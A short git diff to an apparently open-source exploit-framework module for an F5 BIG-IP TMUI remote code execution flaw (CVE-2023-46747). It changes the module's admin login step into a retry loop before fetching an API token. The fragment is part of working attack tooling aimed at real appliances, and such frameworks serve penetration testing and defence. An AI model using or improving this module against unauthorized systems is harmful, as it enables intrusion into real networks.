diff --git a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb index 059a9081216b..74267845b399 100644 --- a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb +++ b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb @@ -103,8 +103,11 @@ def exploit report_hash('admin', hash) end - res = bigip_api_shared_login - fail_with(Failure::UnexpectedReply, 'Failed to login.') unless res&.code == 200 + logged_in = retry_until_truthy(timeout: 30) do + res = bigip_api_shared_login + res&.code == 200 + end + fail_with(Failure::UnexpectedReply, 'Failed to login.') unless logged_in token = res.get_json_document.dig('token', 'token') fail_with(Failure::UnexpectedReply, 'Failed to obtain a login token.') if token.blank?